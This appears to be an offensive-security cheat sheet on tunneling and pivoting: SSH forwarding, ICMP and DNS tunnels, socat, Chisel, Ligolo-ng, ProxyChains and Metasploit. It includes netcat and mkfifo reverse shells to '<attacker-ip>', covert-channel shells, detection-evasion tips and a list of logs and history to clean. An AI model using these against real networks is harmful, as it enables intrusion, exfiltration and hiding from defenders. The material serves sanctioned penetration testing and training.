Skip to content

Tunneling

Table of Contents

  1. SSH Tunneling
  2. ICMP Tunneling
  3. DNS Tunneling
  4. HTTP/HTTPS Tunneling
  5. SOCAT Tunneling
  6. Netcat Tunneling
  7. Chisel
  8. Ligolo-ng
  9. ProxyChains
  10. Other Tools

SSH Tunneling

Local Port Forwarding (-L)

Forward a local port to a remote destination through the SSH server.

# Syntax
ssh -L [local_addr:]local_port:remote_addr:remote_port user@ssh_server

# Access internal web server through compromised host
ssh -L 8080:192.168.1.10:80 user@compromised-host

# Access RDP on internal host
ssh -L 3389:10.0.0.5:3389 user@pivot-host

# Bind to all interfaces (allow others to use the tunnel)
ssh -L 0.0.0.0:8080:192.168.1.10:80 user@pivot-host

Remote Port Forwarding (-R)

Forward a remote port on the SSH server back to a local service.

# Syntax
ssh -R [remote_addr:]remote_port:local_addr:local_port user@ssh_server

# Expose local service to remote server
ssh -R 8080:localhost:3000 user@remote-server

# Reverse shell through tunnel (remote server can access your local port)
ssh -R 4444:localhost:4444 user@attacker-server

Dynamic Port Forwarding (-D) - SOCKS Proxy

Create a SOCKS proxy for dynamic port forwarding.

# Create SOCKS proxy on local port 1080
ssh -D 1080 user@pivot-host

# Bind to specific interface
ssh -D 0.0.0.0:1080 user@pivot-host

# Background + no shell
ssh -D 1080 -fN user@pivot-host

# Use with proxychains
proxychains nmap -sT -Pn 192.168.1.0/24

SSH Tunnel Options

# Common options for background tunnels
-N              # No command execution (port forwarding only)
-f              # Fork to background
-n              # Redirect stdin from /dev/null
-T              # Disable pseudo-terminal allocation
-o ServerAliveInterval=60    # Keep connection alive
-o ServerAliveCountMax=3     # Max keepalive probes
-o StrictHostKeyChecking=no  # Auto-accept host keys

SSH Tunnel Chains

# Multi-hop tunneling
ssh -J user@hop1,user@hop2 user@target

# ProxyJump with port forwarding
ssh -J user@bastion -L 8080:internal:80 user@target

ICMP Tunneling

ptunnel (Ping Tunnel)

# Server side (attacker)
sudo ptunnel -p 0.0.0.0 -lp 2222 -da 127.0.0.1 -dp 22

# Client side (victim)
sudo ptunnel -p <attacker-ip> -lp 5555 -da <target-ip> -dp 3389

# Connect through tunnel
rdesktop localhost:5555

icmpsh (Simple ICMP Shell)

# Setup on attacker (Linux)
sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmpsh_m.py <attacker-ip> <victim-ip>

# On victim (Windows)
icmpsh.exe -t <attacker-ip>

icmp-tunnel

# Create ICMP tunnel
./icmptunnel -s  # Server mode
./icmptunnel -c <server-ip>  # Client mode

# Assign IP and route
curl http://checkip.dyndns.org

DNS Tunneling

iodine

# Server setup (needs NS record pointing to server)
sudo iodined -f -c -P password 10.0.0.1 tunnel.example.com

# Client connection
sudo iodine -f -P password <server-ip> tunnel.example.com

# Now you have a tunnel interface (dns0) with IP 10.0.0.2
ssh 10.0.0.1

dnscat2

# Server
ruby dnscat2.rb --dns host=0.0.0.0,port=53 --secret=password

# Client
./dnscat2 --secret=password <server-ip>

# Or domain-based
./dnscat2 --dns domain=tunnel.example.com --secret=password

dns2tcp

# Server config (/etc/dns2tcpd.conf)
listen = 0.0.0.0
port = 53
user = nobody
chroot = /tmp
domain = tunnel.example.com
key = password
ressources = ssh:127.0.0.1:22, http:127.0.0.1:80

# Start server
dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf

# Client connection
dns2tcpc -k password -d 1 -l 2222 -r ssh -z tunnel.example.com <server-ip>
ssh -p 2222 root@localhost

HTTP/HTTPS Tunneling

HTTPTunnel

# Server (attacker)
hts --forward-port localhost:22 80

# Client (victim)
htc --forward-port 2222 --connect <attacker-ip> 80
ssh -p 2222 localhost

ProxyTunnel

# Through HTTP proxy with CONNECT method
proxytunnel -p proxy.corporate.com:8080 -d destination.com:443

# SSH over proxy
ssh -o ProxyCommand="proxytunnel -p proxy:8080 -d %h:%p" user@target

Corkscrew

# SSH through HTTP proxy
ssh -o ProxyCommand="corkscrew proxy.corporate.com 8080 %h %p" user@target

# With authentication
ssh -o ProxyCommand="corkscrew proxy 8080 %h %p ~/.ssh/proxyauth" user@target

Stunnel (SSL Tunnel)

# Server config
[sshd]
accept = 443
connect = 22
cert = /etc/stunnel/stunnel.pem

# Client config
[ssh]
client = yes
accept = 2222
connect = server.com:443

SOCAT Tunneling

Basic Port Forwarding

# TCP port forward
socat TCP-LISTEN:8080,fork TCP:target.com:80

# Bind to specific interface
socat TCP-LISTEN:8080,bind=192.168.1.10,fork TCP:target.com:80

SOCKS Proxy

# Create SOCKS4 proxy
socat TCP-LISTEN:1080,fork SOCKS4:target.com:

# SOCKS4a (supports DNS resolution on server)
socat TCP-LISTEN:1080,fork SOCKS4A:target.com:::1

Encrypted Tunnels (with SSL)

# Generate cert
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem

# Server (accept SSL, forward plain)
socat OPENSSL-LISTEN:4443,cert=cert.pem,key=key.pem,verify=0,fork TCP:localhost:22

# Client (accept plain, forward SSL)
socat TCP-LISTEN:2222,fork OPENSSL:server.com:4443,verify=0

UDP Tunneling

# UDP to TCP bridge
socat UDP-LISTEN:53,fork TCP:dnsserver.com:53

# TCP to UDP
socat TCP-LISTEN:53,fork UDP:dnsserver.com:53

TTY/PTY Allocation

# Full TTY shell
socat TCP-LISTEN:4444,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

# Connect with full TTY
socat FILE:`tty`,raw,echo=0 TCP:target:4444

Netcat Tunneling

Basic Connections

# Listener
nc -lvnp 4444

# Connect
nc target.com 4444

# Banner grabbing
echo "" | nc -v target.com 80

Reverse Shell

# Attacker (listen)
nc -lvnp 4444

# Target (send shell)
nc -e /bin/bash <attacker-ip> 4444

# Without -e (Linux)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f

# Without -e (Windows)
c:\windows\system32\cmd.exe -c "nc -nv <attacker-ip> 4444 -e cmd.exe"

Port Forwarding with nc

# Listen on 8080, forward to target:80
mkfifo backpipe
nc -l 8080 0<backpipe | nc target.com 80 1>backpipe

# Using named pipes for bidirectional
nc -l -p 8080 -c "nc target.com 80"

nc vs ncat vs nc.traditional

Feature nc (OpenBSD) nc.traditional ncat (Nmap)
-e program execution
SSL/TLS
Proxy support
IPv6

Chisel

Fast TCP/UDP tunnel over HTTP, secured via SSH

Quick Start

# Server (attacker)
chisel server -p 8000 --reverse --auth user:password

# Client (victim) - Reverse SOCKS
chisel client http://user:password@<attacker-ip>:8000 R:socks

# Client - Reverse port forward
chisel client http://user:password@<attacker-ip>:8000 R:2222:localhost:22

Chisel Commands

# Server with specific host key
chisel server -p 8000 --key private.pem

# Client with fingerprint verification
chisel client --fingerprint <hash> http://server:8000 8080

# Multiple remotes
chisel client http://server:8000 3000 socks R:8080 R:9090

# UDP tunneling
chisel client http://server:8000 udp://53:dns.server.com:53

Use Cases

# Expose internal web server
chisel client http://attacker:8000 R:8080:10.0.0.10:80

# SOCKS5 proxy for pivoting
chisel client http://attacker:8000 R:socks

# Chain through multiple hosts
# On pivot host 1
chisel client http://attacker:8000 R:8001:pivot2:8000
# On pivot host 2
chisel client http://pivot1:8001 R:socks

Ligolo-ng

Advanced tunneling/pivoting tool with tun interface

Setup

# Agent (victim)
./ligolo-agent -connect <attacker-ip>:11601

# Proxy (attacker)
sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up
./ligolo-proxy -selfcert -laddr 0.0.0.0:11601

# In ligolo console
session
start

Ligolo-ng Commands

# List sessions
ligolo-ng» sessions

# Select session
ligolo-ng» session
? Specify a session : 1

# Start tunnel
ligolo-ng» start
[INFO] Starting tunnel to root@DESKTOP-XXXXXX

# Add route
sudo ip route add 192.168.2.0/24 dev ligolo

# Autoroute (add all routes)
ligolo-ng» autoroute

Port Forwarding

# Listener on agent, forward to local
ligolo-ng» listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444

# Listener on agent, forward to another internal host
ligolo-ng» listener_add --addr 0.0.0.0:3389 --to 10.0.0.5:3389

ProxyChains

Configuration (/etc/proxychains4.conf)

# Dynamic chain (skip dead proxies)
dynamic_chain

# Proxy list
socks5  127.0.0.1 1080
http    192.168.1.10 8080
socks4  10.0.0.5 1080

# Quiet mode
quiet_mode

# DNS through proxy
proxy_dns

Usage

# Any tool through proxy
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains ssh user@internal-host
proxychains firefox

# Remote DNS resolution
proxychains -q curl http://internal-server.local

ProxyChains-ng (proxychains4)

# Installation
sudo apt install proxychains4

# Configuration file
/etc/proxychains4.conf

# Features over legacy
- IPv6 support
- better DNS handling
- improved performance

Other Tools

FRP (Fast Reverse Proxy)

# Server (frps.toml)
bindPort = 7000
auth.token = "secret"

# Client (frpc.toml)
serverAddr = "attacker.com"
serverPort = 7000
auth.token = "secret"

[[proxies]]
name = "ssh"
type = "tcp"
localIP = "127.0.0.1"
localPort = 22
remotePort = 2222

# Start
./frps -c frps.toml
./frpc -c frpc.toml

ngrok / cloudflared

# ngrok
ngrok tcp 22
ngrok http 80

# cloudflared tunnel
cloudflared tunnel create mytunnel
cloudflared tunnel route dns mytunnel myapp.example.com
cloudflared tunnel run mytunnel

Metasploit Pivoting

# Meterpreter session
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.5

# Reverse port forward
meterpreter > portfwd add -R -l 4444 -p 4444 -r 127.0.0.1

# Route through session
meterpreter > run autoroute -s 10.0.0.0/24
meterpreter > background

# Use route with other modules
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 10.0.0.0/24
msf6 > run

# SOCKS proxy through meterpreter
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVHOST 0.0.0.0
msf6 > set SRVPORT 1080
msf6 > set VERSION 5
msf6 > run

Evil-WinRM with Proxy

# Through proxychains
proxychains evil-winrm -i 10.0.0.10 -u administrator -p password

# Built-in proxy support
evil-winrm -i 10.0.0.10 -u admin -p pass --proxy http://proxy:8080

Tunneling Decision Tree

Need to tunnel?
├─ Have SSH access?
│  ├─ Need single port? → SSH -L or -R
│  ├─ Need dynamic proxy? → SSH -D + ProxyChains
│  └─ Through multiple hops? → SSH -J
├─ Only ICMP allowed?
│  └→ icmpsh / ptunnel
├─ Only DNS allowed?
│  └→ iodine / dnscat2 / dns2tcp
├─ Only HTTP/HTTPS allowed?
│  ├─ With CONNECT? → proxytunnel / corkscrew
│  └→ HTTPTunnel
├─ Need reliable reverse tunnel?
│  ├─ Have HTTP egress? → Chisel
│  └→ FRP / ngrok
├─ Need full network pivot?
│  └→ Ligolo-ng (recommended) / Metasploit autoroute
└─ Quick & dirty?
   └→ SOCAT / Netcat

OPSEC Considerations

Detection Evasion

# Change default ports
chisel server -p 443  # instead of 8000

# Use domain fronting / CDN
chisel client https://cdn.example.com:443 R:socks

# Encrypt traffic
stunnel / socat with SSL / SSH

# Mimic legitimate traffic
- Use standard ports (443, 53, 80)
- Match user-agent strings
- Implement jitter/delay

Artifacts to Clean

# SSH tunnel logs
~/.ssh/config
/var/log/auth.log
~/.bash_history

# Process cleanup
pkill chisel
pkill socat
pkill nc

# Network connections
netstat -tulnp | grep <suspicious_port>

Quick Reference Card

Scenario Tool Command
Quick local forward SSH ssh -L 8080:target:80 user@pivot
Reverse shell nc nc -e /bin/bash attacker 4444
SOCKS proxy SSH ssh -D 1080 user@pivot
Reliable reverse tunnel Chisel chisel client http://attacker:8000 R:socks
Full network pivot Ligolo-ng ligolo-agent -connect attacker:11601
ICMP only ptunnel ptunnel -p attacker -lp 2222 -da target -dp 22
DNS only iodine iodine -f -P pass attacker tunnel.com
Encrypt anything SOCAT socat OPENSSL-LISTEN:443,cert=cert.pem,fork TCP:localhost:22
HTTP proxy bypass corkscrew ssh -o ProxyCommand="corkscrew proxy 8080 %h %p" user@target

Resources

Comments